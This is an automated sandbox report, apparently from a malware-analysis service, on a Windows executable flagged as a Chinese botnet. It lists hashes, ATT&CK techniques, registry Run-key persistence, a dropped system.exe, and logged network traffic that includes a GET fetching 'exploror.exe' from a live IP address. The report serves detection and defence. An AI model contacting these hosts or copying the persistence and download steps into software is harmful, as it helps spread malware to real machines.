chinese_generic_botnet | 1d0e642944902e1e597158a6029e56ccc7fd2877ec27aec420ff81b20c1fd180

General

Target

1d0e642944902e1e597158a6029e56ccc7fd2877ec27aec420ff81b20c1fd180.exe
Size

362KB
MD5

99be0e637186d469b647525e9275ccfc
SHA1

83a797037fd4c10f1248387395cc039aa9f3c71b
SHA256

1d0e642944902e1e597158a6029e56ccc7fd2877ec27aec420ff81b20c1fd180
SHA512

1477f8db399c74174379ff881f6dcd9148bf57ff29839c466259d4c17235254e66cfd0410e5d0d79304a1a4f8352910d64a4f1446f7ed9cd5ceccd285ed265d5
SSDEEP

3072:N8jSZi34eTzl5KV2GenT0cTtm2LAQSXVqjzpYfJhrI:quZ5eg2GenQ67wk3pyJhrI

Score

10^/10

chinese_generic_botnet botnet persistence

Malware Config

Signatures

Generic Chinese Botnet
A botnet originating from China which is currently unnamed publicly.
botnet chinese_generic_botnet

Chinese Botnet payload 1 IoCs

botnet

resource	yara_rule
behavioral1/memory/1996-56-0x0000000010000000-0x0000000010018000-memory.dmp	unk_chinese_botnet

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "C:\\Windows\\system.exe"	1d0e642944902e1e597158a6029e56ccc7fd2877ec27aec420ff81b20c1fd180.exe

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\B:	1d0e642944902e1e597158a6029e56ccc7fd2877ec27aec420ff81b20c1fd180.exe
File opened (read-only)	\??\M:	1d0e642944902e1e597158a6029e56ccc7fd2877ec27aec420ff81b20c1fd180.exe
File opened (read-only)	\??\T:	1d0e642944902e1e597158a6029e56ccc7fd2877ec27aec420ff81b20c1fd180.exe
File opened (read-only)	\??\G:	1d0e642944902e1e597158a6029e56ccc7fd2877ec27aec420ff81b20c1fd180.exe
File opened (read-only)	\??\I:	1d0e642944902e1e597158a6029e56ccc7fd2877ec27aec420ff81b20c1fd180.exe
File opened (read-only)	\??\L:	1d0e642944902e1e597158a6029e56ccc7fd2877ec27aec420ff81b20c1fd180.exe
File opened (read-only)	\??\W:	1d0e642944902e1e597158a6029e56ccc7fd2877ec27aec420ff81b20c1fd180.exe
File opened (read-only)	\??\Y:	1d0e642944902e1e597158a6029e56ccc7fd2877ec27aec420ff81b20c1fd180.exe
File opened (read-only)	\??\O:	1d0e642944902e1e597158a6029e56ccc7fd2877ec27aec420ff81b20c1fd180.exe
File opened (read-only)	\??\P:	1d0e642944902e1e597158a6029e56ccc7fd2877ec27aec420ff81b20c1fd180.exe
File opened (read-only)	\??\R:	1d0e642944902e1e597158a6029e56ccc7fd2877ec27aec420ff81b20c1fd180.exe
File opened (read-only)	\??\E:	1d0e642944902e1e597158a6029e56ccc7fd2877ec27aec420ff81b20c1fd180.exe
File opened (read-only)	\??\F:	1d0e642944902e1e597158a6029e56ccc7fd2877ec27aec420ff81b20c1fd180.exe
File opened (read-only)	\??\J:	1d0e642944902e1e597158a6029e56ccc7fd2877ec27aec420ff81b20c1fd180.exe
File opened (read-only)	\??\K:	1d0e642944902e1e597158a6029e56ccc7fd2877ec27aec420ff81b20c1fd180.exe
File opened (read-only)	\??\N:	1d0e642944902e1e597158a6029e56ccc7fd2877ec27aec420ff81b20c1fd180.exe
File opened (read-only)	\??\X:	1d0e642944902e1e597158a6029e56ccc7fd2877ec27aec420ff81b20c1fd180.exe
File opened (read-only)	\??\Z:	1d0e642944902e1e597158a6029e56ccc7fd2877ec27aec420ff81b20c1fd180.exe
File opened (read-only)	\??\H:	1d0e642944902e1e597158a6029e56ccc7fd2877ec27aec420ff81b20c1fd180.exe
File opened (read-only)	\??\Q:	1d0e642944902e1e597158a6029e56ccc7fd2877ec27aec420ff81b20c1fd180.exe
File opened (read-only)	\??\S:	1d0e642944902e1e597158a6029e56ccc7fd2877ec27aec420ff81b20c1fd180.exe
File opened (read-only)	\??\U:	1d0e642944902e1e597158a6029e56ccc7fd2877ec27aec420ff81b20c1fd180.exe
File opened (read-only)	\??\V:	1d0e642944902e1e597158a6029e56ccc7fd2877ec27aec420ff81b20c1fd180.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\system.exe	1d0e642944902e1e597158a6029e56ccc7fd2877ec27aec420ff81b20c1fd180.exe
File opened for modification	C:\Windows\system.exe	1d0e642944902e1e597158a6029e56ccc7fd2877ec27aec420ff81b20c1fd180.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	1d0e642944902e1e597158a6029e56ccc7fd2877ec27aec420ff81b20c1fd180.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	1d0e642944902e1e597158a6029e56ccc7fd2877ec27aec420ff81b20c1fd180.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1996	1d0e642944902e1e597158a6029e56ccc7fd2877ec27aec420ff81b20c1fd180.exe
1996	1d0e642944902e1e597158a6029e56ccc7fd2877ec27aec420ff81b20c1fd180.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1996 wrote to memory of 1472	1996	1d0e642944902e1e597158a6029e56ccc7fd2877ec27aec420ff81b20c1fd180.exe	27
PID 1996 wrote to memory of 1472	1996	1d0e642944902e1e597158a6029e56ccc7fd2877ec27aec420ff81b20c1fd180.exe	27
PID 1996 wrote to memory of 1472	1996	1d0e642944902e1e597158a6029e56ccc7fd2877ec27aec420ff81b20c1fd180.exe	27
PID 1996 wrote to memory of 1472	1996	1d0e642944902e1e597158a6029e56ccc7fd2877ec27aec420ff81b20c1fd180.exe	27

C:\Users\Admin\AppData\Local\Temp\1d0e642944902e1e597158a6029e56ccc7fd2877ec27aec420ff81b20c1fd180.exe
"C:\Users\Admin\AppData\Local\Temp\1d0e642944902e1e597158a6029e56ccc7fd2877ec27aec420ff81b20c1fd180.exe"
1⤵
- Adds Run key to start application
- Enumerates connected drives
- Drops file in Windows directory
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1996
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c md C:\windowss64
  2⤵
  PID:1472

Network

GET

http://47.93.60.63:8000/exploror.exe

1d0e642944902e1e597158a6029e56ccc7fd2877ec27aec420ff81b20c1fd180.exe

Remote address:

47.93.60.63:8000

Request

GET /exploror.exe HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
Host: 47.93.60.63:8000
Connection: Keep-Alive

Response

HTTP/1.1 503 ��޷��ȡ

Content-Type: text/html
Accept-Ranges: bytes
Server: HFS 2.3i
Set-Cookie: HFS_SID_=0.931278704432771; path=/; HttpOnly
Content-Encoding: gzip

47.93.60.63:8000

http://47.93.60.63:8000/exploror.exe

http

1d0e642944902e1e597158a6029e56ccc7fd2877ec27aec420ff81b20c1fd180.exe

695 B
1.6kB
8
5

HTTP Request

GET http://47.93.60.63:8000/exploror.exe

HTTP Response

503
106.52.15.123:80

1d0e642944902e1e597158a6029e56ccc7fd2877ec27aec420ff81b20c1fd180.exe

152 B
80 B
3
2
106.52.15.123:80

1d0e642944902e1e597158a6029e56ccc7fd2877ec27aec420ff81b20c1fd180.exe

152 B
40 B
3
1
193.218.201.186:8000

1d0e642944902e1e597158a6029e56ccc7fd2877ec27aec420ff81b20c1fd180.exe

1.6kB
841 B
21
20

No results found

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1996-54-0x0000000074C11000-0x0000000074C13000-memory.dmp

Filesize
8KB

Download
memory/1996-56-0x0000000010000000-0x0000000010018000-memory.dmp

Filesize
96KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

HTTP Request

HTTP Response

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads

We care about your privacy.